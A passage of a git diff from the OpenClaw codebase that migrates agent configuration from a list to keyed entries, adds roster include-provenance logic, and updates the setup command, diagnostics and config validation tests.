...agents, entries: toAgentEntriesRecord(listAgentEntries(cfg)) }, + }; + } + if (shouldWriteWorkspace) { + if (!writeInheritedWorkspaceOverride) { + const roster = structuredClone(listAgentEntries(next)); + if (!snapshot.exists || Boolean(defaultEntryWorkspace)) { + for (const entry of roster) { + if (entry.default === true) { + // Fresh bootstrap and explicitly entry-owned workspaces stay aligned. + // Inherited defaults must not turn an include-owned roster into a roster write. + entry.workspace = workspace; + } + } + } + const entries = roster.length > 0 ? toAgentEntriesRecord(roster) : undefined; + const { list: _legacyList, ...agents } = next.agents ?? {}; + next = { + ...next, + agents: { + ...agents, + defaults: { ...agents.defaults, workspace }, + ...(entries ? { entries } : {}), + }, + }; + } + } + if (shouldWriteGatewayMode) { + next = { ...next, gateway: { ...next.gateway, mode: "local" } }; + } - if ( - !snapshot.exists || - defaults.workspace !== workspace || - cfg.gateway?.mode !== next.gateway?.mode - ) { + if (!snapshot.exists) { + const { ensureOnboardingAgent } = await import("./onboard-agent.js"); + next = (await ensureOnboardingAgent({ config: next, workspace, baseConfig: cfg })).config; + } + + if (!snapshot.exists || shouldPersistRoster || shouldWriteWorkspace || shouldWriteGatewayMode) { // Preserve all existing config fields and touch only workspace/gateway mode // defaults that this command owns. const replaceConfig = deps.replaceConfigFile ?? writeDefaultConfigFile; @@ -178,17 +233,32 @@ export async function setupCommand( nextConfig: next, snapshot, afterWrite: { mode: "auto" }, - writeOptions: prepared.writeOptions, + writeOptions: { + ...prepared.writeOptions, + ...(snapshot.exists && shouldPersistRoster + ? { + explicitSetPaths: [["agents", "entries"]], + explicitSetValueSource: cfg, + } + : {}), + ...(writeInheritedWorkspaceOverride + ? { + allowIncludeAncestorExplicitSetPaths: true, + explicitSetPaths: [["agents", "defaults", "workspace"]], + explicitSetValueSource: { agents: { defaults: { workspace } } }, + } + : {}), + }, }); if (!snapshot.exists) { const formatConfigPath = deps.formatConfigPath ?? formatDefaultConfigPath; runtime.log(`Wrote ${await formatConfigPath(configPath)}`); } else { const updates: string[] = []; - if (defaults.workspace !== workspace) { + if (shouldWriteWorkspace) { updates.push("set agents.defaults.workspace"); } - if (cfg.gateway?.mode !== next.gateway?.mode) { + if (shouldWriteGatewayMode) { updates.push("set gateway.mode"); } const suffix = updates.length > 0 ? `(${updates.join(", ")})` : undefined; @@ -204,14 +274,15 @@ export async function setupCommand( const ws = await (deps.ensureAgentWorkspace ?? ensureDefaultAgentWorkspace)({ dir: workspace, - ensureBootstrapFiles: !next.agents?.defaults?.skipBootstrap, - skipOptionalBootstrapFiles: next.agents?.defaults?.skipOptionalBootstrapFiles, + ensureBootstrapFiles: !resolvedDefaults.skipBootstrap, + skipOptionalBootstrapFiles: resolvedDefaults.skipOptionalBootstrapFiles, }); runtime.log(`Workspace OK: ${shortenHomePath(ws.dir)}`); + const defaultAgentId = resolveDefaultAgentId(next); const sessionsDir = await ( deps.resolveSessionTranscriptsDir ?? resolveDefaultSessionTranscriptsDir - )(); + )(defaultAgentId); await (deps.mkdir ?? fs.mkdir)(sessionsDir, { recursive: true }); runtime.log(`Sessions OK: ${shortenHomePath(sessionsDir)}`); runtime.log(""); diff --git a/src/commands/status.summary.runtime.test.ts b/src/commands/status.summary.runtime.test.ts index 00c97b50a5ed..7be67243b9ae 100644 --- a/src/commands/status.summary.runtime.test.ts +++ b/src/commands/status.summary.runtime.test.ts @@ -1,8 +1,18 @@ // Status summary runtime tests cover model context-token resolution. import { describe, expect, it } from "vitest"; import { ANTHROPIC_CONTEXT_1M_TOKENS } from "../agents/context-resolution.js"; +import { migratePersistedImplicitMainRoster } from "../config/legacy.roster.js"; import { statusSummaryRuntime } from "./status.summary.runtime.js"; +function resolveSessionRuntimeLabel( + params: Parameters[0], +) { + return statusSummaryRuntime.resolveSessionRuntimeLabel({ + ...params, + cfg: migratePersistedImplicitMainRoster(params.cfg).config as never, + }); +} + describe("statusSummaryRuntime.resolveContextTokensForModel", () => { it("does not match provider context window overrides across provider id variants", () => { const contextTokens = statusSummaryRuntime.resolveContextTokensForModel({ @@ -205,7 +215,7 @@ describe("statusSummaryRuntime.classifySessionKey", () => { describe("statusSummaryRuntime.resolveSessionRuntimeLabel", () => { it("uses the shared /status runtime label for the implicit OpenAI Codex route", () => { expect( - statusSummaryRuntime.resolveSessionRuntimeLabel({ + resolveSessionRuntimeLabel({ cfg: {} as never, entry: { sessionId: "session-1", @@ -220,7 +230,7 @@ describe("statusSummaryRuntime.resolveSessionRuntimeLabel", () => { it("preserves configured default model CLI runtimes", () => { expect( - statusSummaryRuntime.resolveSessionRuntimeLabel({ + resolveSessionRuntimeLabel({ cfg: { agents: { defaults: { @@ -243,7 +253,7 @@ describe("statusSummaryRuntime.resolveSessionRuntimeLabel", () => { it("preserves configured agent model runtimes before harness selection", () => { expect( - statusSummaryRuntime.resolveSessionRuntimeLabel({ + resolveSessionRuntimeLabel({ cfg: { agents: { defaults: { @@ -275,7 +285,7 @@ describe("statusSummaryRuntime.resolveSessionRuntimeLabel", () => { it("reports the owning Codex harness for a locked session with stale OpenClaw metadata", () => { expect( - statusSummaryRuntime.resolveSessionRuntimeLabel({ + resolveSessionRuntimeLabel({ cfg: { agents: { defaults: { diff --git a/src/commands/status.summary.runtime.ts b/src/commands/status.summary.runtime.ts index 207139ba4e12..8d9e140a7471 100644 --- a/src/commands/status.summary.runtime.ts +++ b/src/commands/status.summary.runtime.ts @@ -8,6 +8,7 @@ import { } from "@openclaw/normalization-core/string-coerce"; import { readAcpSessionMeta } from "../acp/runtime/session-meta.js"; import { resolveModelAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; +import { resolveAgentConfig } from "../agents/agent-scope-config.js"; import { resolveConfiguredProviderFallback } from "../agents/configured-provider-fallback.js"; import { resolveContextTokensForModelFromCache as resolveContextTokensForModel } from "../agents/context-resolution.js"; import { waitForContextWindowCacheLoad } from "../agents/context.js"; @@ -62,9 +63,7 @@ function resolveConfiguredStatusModelRef(params: { agentId?: string; }): { provider: string; model: string } { const agentRawModel = params.agentId - ? resolveAgentModelPrimaryValue( - params.cfg.agents?.list?.find((entry) => entry?.id === params.agentId)?.model, - ) + ? resolveAgentModelPrimaryValue(resolveAgentConfig(params.cfg, params.agentId)?.model) : undefined; if (agentRawModel) { // Agent-specific primary model wins over global defaults for session status rows. diff --git a/src/commands/status.summary.test.ts b/src/commands/status.summary.test.ts index f0e07f9a0b01..0d05722ee350 100644 --- a/src/commands/status.summary.test.ts +++ b/src/commands/status.summary.test.ts @@ -171,6 +171,7 @@ vi.mock("../tasks/task-registry.maintenance.js", () => ({ })); vi.mock("../routing/session-key.js", () => ({ + LEGACY_IMPLICIT_AGENT_ID: "main", normalizeAgentId: vi.fn((value: string) => value), normalizeMainKey: vi.fn((value?: string) => value ?? "main"), parseAgentSessionKey: vi.fn(() => null), diff --git a/src/config/agent-dirs.test.ts b/src/config/agent-dirs.test.ts index 5ddf15f566da..c97ebde78942 100644 --- a/src/config/agent-dirs.test.ts +++ b/src/config/agent-dirs.test.ts @@ -8,6 +8,21 @@ afterEach(() => { }); describe("resolveEffectiveAgentDir via findDuplicateAgentDirs", () => { + it("finds duplicate explicit dirs in keyed agent entries", () => { + const cfg: OpenClawConfig = { + agents: { + entries: { + alpha: { default: true, agentDir: "/srv/shared-agent" }, + beta: { agentDir: "/srv/shared-agent" }, + }, + }, + }; + + expect(findDuplicateAgentDirs(cfg)).toEqual([ + { agentDir: "/srv/shared-agent", agentIds: ["alpha", "beta"] }, + ]); + }); + it("uses OPENCLAW_HOME for default agent dir resolution", () => { // findDuplicateAgentDirs calls resolveEffectiveAgentDir internally. // With a single agent there are no duplicates, but we can inspect the diff --git a/src/config/agent-dirs.ts b/src/config/agent-dirs.ts index e114b6cff3d3..5c51fe725cd6 100644 --- a/src/config/agent-dirs.ts +++ b/src/config/agent-dirs.ts @@ -2,8 +2,9 @@ import os from "node:os"; import path from "node:path"; import { normalizeLowercaseStringOrEmpty } from "@openclaw/normalization-core/string-coerce"; +import { listAgentEntries, resolveAgentConfig } from "../agents/agent-scope-config.js"; import { resolveRequiredHomeDir } from "../infra/home-dir.js"; -import { DEFAULT_AGENT_ID, normalizeAgentId } from "../routing/session-key.js"; +import { normalizeAgentId } from "../routing/session-key.js"; import { resolveUserPath } from "../utils.js"; import { resolveStateDir } from "./paths.js"; import type { OpenClawConfig } from "./types.js"; @@ -36,10 +37,11 @@ function canonicalizeAgentDir(agentDir: string): string { function collectReferencedAgentIds(cfg: OpenClawConfig): string[] { const ids = new Set(); - const agents = Array.isArray(cfg.agents?.list) ? cfg.agents?.list : []; - const defaultAgentId = - agents.find((agent) => agent?.default)?.id ?? agents[0]?.id ?? DEFAULT_AGENT_ID; - ids.add(normalizeAgentId(defaultAgentId)); + const agents = listAgentEntries(cfg); + const defaultAgentId = agents.find((agent) => agent?.default)?.id; + if (defaultAgentId) { + ids.add(normalizeAgentId(defaultAgentId)); + } for (const entry of agents) { if (entry?.id) { @@ -66,9 +68,7 @@ function resolveEffectiveAgentDir( deps?: { env?: NodeJS.ProcessEnv; homedir?: () => string }, ): string { const id = normalizeAgentId(agentId); - const configured = Array.isArray(cfg.agents?.list) - ? cfg.agents?.list.find((agent) => normalizeAgentId(agent.id) === id)?.agentDir - : undefined; + const configured = resolveAgentConfig(cfg, id)?.agentDir; const trimmed = configured?.trim(); if (trimmed) { return resolveUserPath(trimmed); diff --git a/src/config/agent-roster-provenance.test.ts b/src/config/agent-roster-provenance.test.ts new file mode 100644 index 000000000000..99c074e76e17 --- /dev/null +++ b/src/config/agent-roster-provenance.test.ts @@ -0,0 +1,172 @@ +import { describe, expect, it, vi } from "vitest"; +import { + configIncludeOwnsAgentRoster, + hasResolvedRosterBeforeMigrations, +} from "./agent-roster-provenance.js"; +import type { ConfigFileSnapshot, OpenClawConfig } from "./types.openclaw.js"; + +vi.unmock("../agents/agent-scope-config.js"); + +function snapshot(params: { + parsed: unknown; + sourceConfigBeforeMigrations: OpenClawConfig; + agentRosterIncludeOwned?: boolean; +}): ConfigFileSnapshot { + return { + path: "/tmp/openclaw.json", + includedPaths: [], + exists: true, + raw: "{}", + parsed: params.parsed, + includeProvenance: { agentRoster: params.agentRosterIncludeOwned === true }, + sourceConfigBeforeMigrations: params.sourceConfigBeforeMigrations, + sourceConfig: params.sourceConfigBeforeMigrations, + resolved: params.sourceConfigBeforeMigrations, + runtimeConfig: params.sourceConfigBeforeMigrations, + config: params.sourceConfigBeforeMigrations, + valid: true, + issues: [], + warnings: [], + legacyIssues: [], + } as ConfigFileSnapshot; +} + +describe("agent roster include provenance", () => { + it("recognizes an include at the entries boundary", () => { + const value = snapshot({ + parsed: { agents: { entries: { $include: "./agents.json" } } }, + sourceConfigBeforeMigrations: { agents: { entries: { ops: { default: true } } } }, + }); + + expect(configIncludeOwnsAgentRoster(value)).toBe(true); + }); + + it("recognizes an empty include at the entries boundary", () => { + const value = snapshot({ + parsed: { agents: { entries: { $include: "./empty-roster.json" } } }, + sourceConfigBeforeMigrations: { agents: { entries: {} } }, + }); + + expect(configIncludeOwnsAgentRoster(value)).toBe(true); + }); + + it("recognizes nested and mixed local-plus-included entries", () => { + const value = snapshot({ + parsed: { + $include: "./base.json", + agents: { entries: { main: { default: true } } }, + }, + sourceConfigBeforeMigrations: { + agents: { + entries: { + main: { default: true }, + ops: {}, + }, + }, + }, + agentRosterIncludeOwned: true, + }); + + expect(configIncludeOwnsAgentRoster(value)).toBe(true); + }); + + it("recognizes an included empty roster", () => { + const value = snapshot({ + parsed: { $include: "./base.json" }, + sourceConfigBeforeMigrations: { agents: { entries: {} } }, + agentRosterIncludeOwned: true, + }); + + expect(hasResolvedRosterBeforeMigrations(value)).toBe(false); + expect(configIncludeOwnsAgentRoster(value)).toBe(true); + }); + + it.each([ + { + label: "unrelated ancestor include with a local roster", + parsed: { $include: "./channels.json", agents: { entries: {} } }, + resolved: { agents: { entries: {} } }, + includeOwned: false, + expected: false, + }, + { + label: "roster-contributing ancestor include", + parsed: { + $include: "./base.json", + agents: { entries: { main: { default: true } } }, + }, + resolved: { + agents: { entries: { main: { default: true }, ops: {} } }, + }, + includeOwned: true, + expected: true, + }, + { + label: "identical ancestor include contribution", + parsed: { + $include: "./base.json", + agents: { entries: { main: { default: true } } }, + }, + resolved: { agents: { entries: { main: { default: true } } } }, + includeOwned: true, + expected: true, + }, + { + label: "direct agents.entries include", + parsed: { agents: { entries: { $include: "./entries.json" } } }, + resolved: { agents: { entries: { ops: { default: true } } } }, + includeOwned: true, + expected: true, + }, + { + label: "entry-internal identity include", + parsed: { + agents: { + entries: { + main: { + default: true, + identity: { $include: "./identity.json" }, + }, + }, + }, + }, + resolved: { + agents: { + entries: { + main: { + default: true, + identity: { name: "Main" }, + }, + }, + }, + }, + includeOwned: false, + expected: false, + }, + { + label: "legacy list membership id include", + parsed: { + agents: { + list: [{ id: { $include: "./id.json" }, default: true }], + }, + }, + resolved: { + agents: { + list: [{ id: "10", default: true }], + }, + }, + includeOwned: false, + expected: true, + }, + ])("classifies $label", ({ parsed, resolved, includeOwned, expected }) => { + expect( + configIncludeOwnsAgentRoster( + snapshot({ + parsed, + sourceConfigBeforeMigrations: resolved as OpenClawConfig, + agentRosterIncludeOwned: includeOwned, + }), + ), + ).toBe(expected); + }); +}); diff --git a/src/config/agent-roster-provenance.ts b/src/config/agent-roster-provenance.ts new file mode 100644 index 000000000000..1a1b531f7906 --- /dev/null +++ b/src/config/agent-roster-provenance.ts @@ -0,0 +1,106 @@ +import { hasAgentRosterProperty, listAgentEntries } from "../agents/agent-scope-config.js"; +import { isRecord } from "../utils.js"; +import { INCLUDE_KEY } from "./includes.js"; +import type { ConfigFileSnapshot } from "./types.openclaw.js"; + +function rosterEntryBoundaryContainsInclude(value: unknown): boolean { + if (!isRecord(value)) { + return false; + } + if (Object.hasOwn(value, INCLUDE_KEY)) { + return true; + } + return [value.id, value.default].some( + (field) => isRecord(field) && Object.hasOwn(field, INCLUDE_KEY), + ); +} + +function authoredRosterBoundaryContainsInclude(value: unknown): boolean { + if (isRecord(value) && Object.hasOwn(value, INCLUDE_KEY)) { + return true; + } + if (Array.isArray(value)) { + return value.some(rosterEntryBoundaryContainsInclude); + } + if (!isRecord(value)) { + return false; + } + return Object.values(value).some(rosterEntryBoundaryContainsInclude); +} + +function readRosterValue(raw: unknown): unknown { + if (!isRecord(raw) || !isRecord(raw.agents)) { + return undefined; + } + if (Object.hasOwn(raw.agents, "entries")) { + return raw.agents.entries; + } + return Object.hasOwn(raw.agents, "list") ? raw.agents.list : undefined; +} + +/** + * Roster include ownership decision table: + * - Include-owned: an include contributes membership or default metadata at agents.entries/list, + * an entry object, an id/default field, a nested entries/list $include, or an ambiguous + * byte-identical roster contribution. + * - Locally owned: ancestor includes contribute only unrelated config, or an include is nested + * inside entry-internal identity/model/etc. fields that cannot change membership or default; + * canonical roster writes preserve those entry-internal authored include nodes in place. + */ +export function includeContributionOwnsAgentRoster(event: { + path: readonly string[]; + value: unknown; +}): boolean { + if (event.path.length === 0) { + return hasAgentRosterProperty(event.value); + } + if (event.path.length === 1 && event.path[0] === "agents") { + return ( + isRecord(event.value) && + (Object.hasOwn(event.value, "entries") || Object.hasOwn(event.value, "list")) + ); + } + if (event.path[0] !== "agents") { + return false; + } + if (event.path[1] === "entries") { + return event.path.length <= 3 || event.path[3] === "default"; + } + if (event.path[1] === "list") { + // IncludeProcessor keeps array items at the list's logical owner path: an + // item include is agents.list, while its id/default fields occupy path[2]. + return event.path.length <= 2 || event.path[2] === "id" || event.path[2] === "default"; + } + return false; +} + +/** Whether include/env resolution produced a non-empty roster before raw migrations. */ +export function hasResolvedRosterBeforeMigrations(snapshot: ConfigFileSnapshot): boolean { + return listAgentEntries(snapshot.sourceConfigBeforeMigrations ?? {}).length > 0; +} + +/** Whether an include, rather than the authored root, owns agents.entries. */ +export function configIncludeOwnsAgentRosterValues(params: { + parsed: unknown; + sourceConfigBeforeMigrations: unknown; + includeContributesRoster?: boolean; +}): boolean { + const resolved = params.sourceConfigBeforeMigrations; + if (!hasAgentRosterProperty(resolved)) { + return false; + } + const authoredRoster = readRosterValue(params.parsed); + if (authoredRosterBoundaryContainsInclude(authoredRoster)) { + return true; + } + return params.includeContributesRoster === true; +} + +/** Whether an include, rather than the authored root, owns agents.entries. */ +export function configIncludeOwnsAgentRoster(snapshot: ConfigFileSnapshot): boolean { + return configIncludeOwnsAgentRosterValues({ + parsed: snapshot.parsed, + sourceConfigBeforeMigrations: snapshot.sourceConfigBeforeMigrations, + includeContributesRoster: snapshot.includeProvenance?.agentRoster, + }); +} diff --git a/src/config/codex-plugin-diagnostics.ts b/src/config/codex-plugin-diagnostics.ts index e9df2659ba2c..7c3fd09ad4db 100644 --- a/src/config/codex-plugin-diagnostics.ts +++ b/src/config/codex-plugin-diagnostics.ts @@ -126,19 +126,24 @@ function resolveEffectiveSelectedModelRefs(params: { cfg: OpenClawConfig; agentI function configuredRefTargetsAgent(params: { cfg: OpenClawConfig; + sourceConfigBeforeMigrations?: OpenClawConfig; path: string; agentId: string; }): boolean { const match = /^agents\.list\.(\d+)\./.exec(params.path); - if (!match) { - return true; + if (match) { + const entry = (params.sourceConfigBeforeMigrations ?? params.cfg).agents?.list?.[ + Number(match[1]) + ]; + return Boolean(entry && normalizeAgentId(entry.id) === params.agentId); } - const entry = params.cfg.agents?.list?.[Number(match[1])]; - return Boolean(entry && normalizeAgentId(entry.id) === params.agentId); + const keyedMatch = /^agents\.entries\.([^.]+)\./.exec(params.path); + return !keyedMatch || normalizeAgentId(keyedMatch[1] ?? "") === params.agentId; } function configuredRefIsEffectiveForAgent(params: { cfg: OpenClawConfig; + sourceConfigBeforeMigrations?: OpenClawConfig; path: string; value: string; agentId: string; @@ -214,10 +219,11 @@ function configuredProviderPoliciesNeedCodex( function configuredModelRefsNeedCodex(params: { cfg: OpenClawConfig; + sourceConfigBeforeMigrations?: OpenClawConfig; env: NodeJS.ProcessEnv; agentIds: string[]; }): { complete: boolean; needsCodex: boolean } { - const refs = collectConfiguredModelRefs(params.cfg); + const refs = collectConfiguredModelRefs(params.sourceConfigBeforeMigrations ?? params.cfg); let complete = true; for (const agentId of params.agentIds) { const selected = resolveEffectiveSelectedModelRefs({ cfg: params.cfg, agentId }); @@ -236,6 +242,7 @@ function configuredModelRefsNeedCodex(params: { if ( !configuredRefIsEffectiveForAgent({ cfg: params.cfg, + sourceConfigBeforeMigrations: params.sourceConfigBeforeMigrations, path: ref.path, value: ref.value, agentId, @@ -280,9 +287,18 @@ function defaultOpenAiRouteNeedsCodex( }); } -function configNeedsCodexForOpenAi(cfg: OpenClawConfig, env: NodeJS.ProcessEnv): boolean { +function configNeedsCodexForOpenAi( + cfg: OpenClawConfig, + env: NodeJS.ProcessEnv, + sourceConfigBeforeMigrations?: OpenClawConfig, +): boolean { const agentIds = listAgentIds(cfg); - const configuredRefs = configuredModelRefsNeedCodex({ cfg, env, agentIds }); + const configuredRefs = configuredModelRefsNeedCodex({ + cfg, + env, + agentIds, + sourceConfigBeforeMigrations, + }); if (configuredRefs.needsCodex) { return true; } @@ -296,11 +312,14 @@ function configNeedsCodexForOpenAi(cfg: OpenClawConfig, env: NodeJS.ProcessEnv): export function shouldSuppressMissingCodexPluginDiagnostics( cfg: OpenClawConfig, env: NodeJS.ProcessEnv = process.env, + sourceConfigBeforeMigrations?: OpenClawConfig, ): boolean { const entryEnabled = codexPluginEntryEnabled(cfg); if (entryEnabled === true) { return false; } // A disabled entry is an explicit opt-out; doctor reports selected-route conflicts. - return entryEnabled === false || !configNeedsCodexForOpenAi(cfg, env); + return ( + entryEnabled === false || !configNeedsCodexForOpenAi(cfg, env, sourceConfigBeforeMigrations) + ); } diff --git a/src/config/config-misc.test.ts b/src/config/config-misc.test.ts index 6c5ddfb8664d..b3809aa5782b 100644 --- a/src/config/config-misc.test.ts +++ b/src/config/config-misc.test.ts @@ -101,7 +101,7 @@ describe("agent timeoutSeconds config", () => { ["fractional", 1.5, false], ])("agents.defaults.timeoutSeconds %s", (_label, timeoutSeconds, ok) => { const result = OpenClawSchema.safeParse({ - agents: { defaults: { timeoutSeconds } }, + agents: { defaults: { timeoutSeconds }, entries: { main: { default: true } } }, }); expect(result.success).toBe(ok); }); @@ -1259,11 +1259,17 @@ describe("config strict validation", () => { expect(snap.valid).toBe(false); expect(issuePaths(snap.issues)).toContain("agents.defaults.sandbox"); - expect(issuePaths(snap.issues)).toContain("agents"); + expect(issuePaths(snap.issues)).toContain("agents.entries.openclaw.sandbox"); expect(issuePaths(snap.legacyIssues)).toContain("agents.defaults.sandbox"); - expect(issuePaths(snap.legacyIssues)).toContain("agents.list"); - expect(snap.sourceConfig.agents?.defaults?.sandbox).toEqual({ perSession: true }); - expect(snap.sourceConfig.agents?.list?.[0]?.sandbox).toEqual({ perSession: false }); + expect(snap.sourceConfigBeforeMigrations?.agents?.defaults?.sandbox).toEqual({ + perSession: true, + }); + expect(snap.sourceConfigBeforeMigrations?.agents?.list?.[0]?.sandbox).toEqual({ + perSession: false, + }); + expect(snap.sourceConfig.agents?.entries?.openclaw?.sandbox).toEqual({ + perSession: false, + }); }); }); diff --git a/src/config/config.agent-concurrency-defaults.test.ts b/src/config/config.agent-concurrency-defaults.test.ts index d3a134112816..e800ad081cae 100644 --- a/src/config/config.agent-concurrency-defaults.test.ts +++ b/src/config/config.agent-concurrency-defaults.test.ts @@ -40,6 +40,7 @@ describe("agent concurrency defaults", () => { maxChildrenPerAgent: 7, }, }, + entries: { main: { default: true } }, }, }); diff --git a/src/config/config.identity-avatar.test.ts b/src/config/config.identity-avatar.test.ts index a0c2b5e9b436..d3ae8785cedc 100644 --- a/src/config/config.identity-avatar.test.ts +++ b/src/config/config.identity-avatar.test.ts @@ -10,7 +10,9 @@ describe("identity avatar validation", () => { const workspace = path.join(home, "openclaw"); const res = validateConfigObject({ agents: { - entries: { main: { workspace, identity: { avatar: "avatars/openclaw.png" } } }, + entries: { + main: { default: true, workspace, identity: { avatar: "avatars/openclaw.png" } }, + }, }, }); expect(res.ok).toBe(true); @@ -22,14 +24,26 @@ describe("identity avatar validation", () => { const workspace = path.join(home, "openclaw"); const httpRes = validateConfigObject({ agents: { - entries: { main: { workspace, identity: { avatar: "https://example.com/avatar.png" } } }, + entries: { + main: { + default: true, + workspace, + identity: { avatar: "https://example.com/avatar.png" }, + }, + }, }, }); expect(httpRes.ok).toBe(true); const dataRes = validateConfigObject({ agents: { - entries: { main: { workspace, identity: { avatar: "data:image/png;base64,AAA" } } }, + entries: { + main: { + default: true, + workspace, + identity: { avatar: "data:image/png;base64,AAA" }, + }, + }, }, }); expect(dataRes.ok).toBe(true); @@ -41,13 +55,21 @@ describe("identity avatar validation", () => { const workspace = path.join(home, "openclaw"); const res = validateConfigObject({ agents: { - entries: { main: { workspace, identity: { avatar: "../oops.png" } } }, + entries: { + main: { default: true, workspace, identity: { avatar: "../oops.png" } }, + }, }, }); expect(res.ok).toBe(false); if (!res.ok) { - expect(res.issues[0]?.path).toBe("agents.list.0.identity.avatar"); - expect(res.issues[0]?.pathSegments).toEqual(["agents", "list", 0, "identity", "avatar"]); + expect(res.issues[0]?.path).toBe("agents.entries.main.identity.avatar"); + expect(res.issues[0]?.pathSegments).toEqual([ + "agents", + "entries", + "main", + "identity", + "avatar", + ]); } }); }); diff --git a/src/config/config.multi-agent-agentdir-validation.test.ts b/src/config/config.multi-agent-agentdir-validation.test.ts index 124f8dc48aa3..1cc64445c420 100644 --- a/src/config/config.multi-agent-agentdir-validation.test.ts +++ b/src/config/config.multi-agent-agentdir-validation.test.ts @@ -11,7 +11,7 @@ describe("multi-agent agentDir validation", () => { const shared = path.join(tmpdir(), "openclaw-shared-agentdir"); const res = validateConfigObject({ agents: { - entries: { a: { agentDir: shared }, b: { agentDir: shared } }, + entries: { a: { agentDir: shared, default: true }, b: { agentDir: shared } }, }, }); expect(res.ok).toBe(false); @@ -37,7 +37,7 @@ If you want to share credentials, copy auth-profiles.json instead of sharing the { agents: { entries: { - a: { agentDir: "~/.openclaw/agents/shared/agent" }, + a: { agentDir: "~/.openclaw/agents/shared/agent", default: true }, b: { agentDir: "~/.openclaw/agents/shared/agent" }, }, }, diff --git a/src/config/config.plugin-validation.test.ts b/src/config/config.plugin-validation.test.ts index 075efef3b809..71f4f820952d 100644 --- a/src/config/config.plugin-validation.test.ts +++ b/src/config/config.plugin-validation.test.ts @@ -5,6 +5,7 @@ import path from "node:path"; import { afterAll, beforeAll, describe, expect, it, vi } from "vitest"; import { clearLoadInstalledPluginIndexInstallRecordsCache } from "../plugins/installed-plugin-index-records.js"; import { writePersistedInstalledPluginIndex } from "../plugins/installed-plugin-index-store.js"; +import { shouldSuppressMissingCodexPluginDiagnostics } from "./codex-plugin-diagnostics.js"; import { validateConfigObjectWithPlugins as validateConfigObjectWithPluginsRaw } from "./validation.js"; vi.unmock("../version.js"); @@ -813,6 +814,79 @@ describe("config plugin validation", () => { expectNoMissingCodexPluginWarning(res.warnings); }); + it("does not attribute keyed agent model refs to another agent", () => { + const res = validateWithMissingCodexPlugin({ + agents: { + entries: { + openclaw: { + default: true, + model: { primary: "anthropic/claude-sonnet-4-6", fallbacks: [] }, + subagents: { model: "anthropic/claude-sonnet-4-6" }, + }, + ops: { + model: { primary: "anthropic/claude-sonnet-4-6", fallbacks: [] }, + subagents: { model: "anthropic/claude-sonnet-4-6" }, + models: { + "openai/gpt-5.6": { agentRuntime: { id: "pi" } }, + }, + }, + }, + }, + plugins: { entries: { codex: {} } }, + }); + + expect(res.ok).toBe(true); + expectNoMissingCodexPluginWarning(res.warnings); + }); + + it("keeps numeric legacy list indices bound to their pre-migration agents", () => { + const res = validateWithMissingCodexPlugin({ + agents: { + list: [ + { + id: "10", + default: true, + model: { primary: "anthropic/claude-sonnet-4-6", fallbacks: [] }, + subagents: { model: "anthropic/claude-sonnet-4-6" }, + models: { + "openai/gpt-5.6": { agentRuntime: { id: "pi" } }, + }, + }, + { + id: "2", + model: { primary: "anthropic/claude-sonnet-4-6", fallbacks: [] }, + subagents: { model: "anthropic/claude-sonnet-4-6" }, + }, + ], + }, + plugins: { entries: { codex: {} } }, + }); + + expect(res.ok).toBe(true); + expectNoMissingCodexPluginWarning(res.warnings); + }); + + it("keeps the two-argument diagnostic API correct for a legacy list", () => { + expect( + shouldSuppressMissingCodexPluginDiagnostics( + { + agents: { + list: [ + { + id: "10", + default: true, + model: "anthropic/claude-sonnet-4-6", + }, + { id: "2", model: "openai/gpt-5.6" }, + ], + }, + plugins: { entries: { codex: {} } }, + }, + suiteEnv(), + ), + ).toBe(false); + }); + it("warns when a default exact Codex policy remains reachable by another agent", () => { const res = validateWithMissingCodexPlugin({ models: { diff --git a/src/config/config.schema-regressions.test.ts b/src/config/config.schema-regressions.test.ts index 647d60a2f192..ab50b7936c44 100644 --- a/src/config/config.schema-regressions.test.ts +++ b/src/config/config.schema-regressions.test.ts @@ -400,7 +400,7 @@ describe("config schema regressions", () => { expect(res.ok).toBe(false); }); - it("skips binding agentId check when agents.entries is absent", () => { + it("rejects non-default bindings when the implicit-main roster is materialized", () => { const res = validateConfigObject({ bindings: [ { @@ -411,7 +411,7 @@ describe("config schema regressions", () => { ], }); - expect(res.ok).toBe(true); + expect(res.ok).toBe(false); }); it("accepts a microsoft-foundry model entry carrying thinkingLevelMap (openclaw#91011)", () => { diff --git a/src/config/config.skills-entries-config.test.ts b/src/config/config.skills-entries-config.test.ts index 0b1b2e2b5736..75d2424079f8 100644 --- a/src/config/config.skills-entries-config.test.ts +++ b/src/config/config.skills-entries-config.test.ts @@ -52,6 +52,7 @@ describe("skills entries config schema", () => { defaults: { skills: ["github", "weather"], }, + entries: { main: { default: true } }, }, }); @@ -64,7 +65,7 @@ describe("skills entries config schema", () => { defaults: { skills: ["github", "weather"], }, - entries: { writer: { skills: ["docs-search"] } }, + entries: { writer: { default: true, skills: ["docs-search"] } }, }, }); @@ -77,7 +78,7 @@ describe("skills entries config schema", () => { defaults: { skills: [], }, - entries: { writer: { skills: [] } }, + entries: { writer: { default: true, skills: [] } }, }, }); diff --git a/src/config/exec-command-highlighting.ts b/src/config/exec-command-highlighting.ts index 0478370f84b4..5159fc3a5fb0 100644 --- a/src/config/exec-command-highlighting.ts +++ b/src/config/exec-command-highlighting.ts @@ -1,3 +1,4 @@ +import { resolveAgentConfig } from "../agents/agent-scope-config.js"; // Resolves exec command highlighting config for agent sessions. import { normalizeAgentId } from "../routing/session-key.js"; import type { OpenClawConfig } from "./types.openclaw.js"; @@ -11,8 +12,7 @@ export function resolveExecCommandHighlighting(params: { const globalValue = config.tools?.exec?.commandHighlighting; const agentId = params.agentId ? normalizeAgentId(params.agentId) : null; const agentValue = agentId - ? config.agents?.list?.find((entry) => normalizeAgentId(entry.id) === agentId)?.tools?.exec - ?.commandHighlighting + ? resolveAgentConfig(config, agentId)?.tools?.exec?.commandHighlighting : undefined; // Agent-scoped config overrides the global exec setting; absent config stays disabled. return agentValue ?? globalValue ?? false; diff --git a/src/config/includes.ts b/src/config/includes.ts index 32d2757f94e5..047f13bf3fb3 100644 --- a/src/config/includes.ts +++ b/src/config/includes.ts @@ -77,6 +77,8 @@ export type IncludeResolver = { parseJson: (raw: string) => unknown; /** Reports lexically contained paths before canonical/open checks for watcher repair flows. */ onLexicalPath?: (resolvedPath: string) => void; + /** Reports the resolved value contributed by an include at its logical config path. */ + onIncludeResolved?: (event: { path: readonly string[]; value: unknown }) => void; }; type IncludeFileReadParams = { @@ -162,9 +164,9 @@ class IncludeProcessor { return this.boundary.configRoot.rootDir; } - process(obj: unknown): unknown { + process(obj: unknown, logicalPath: readonly string[] = []): unknown { if 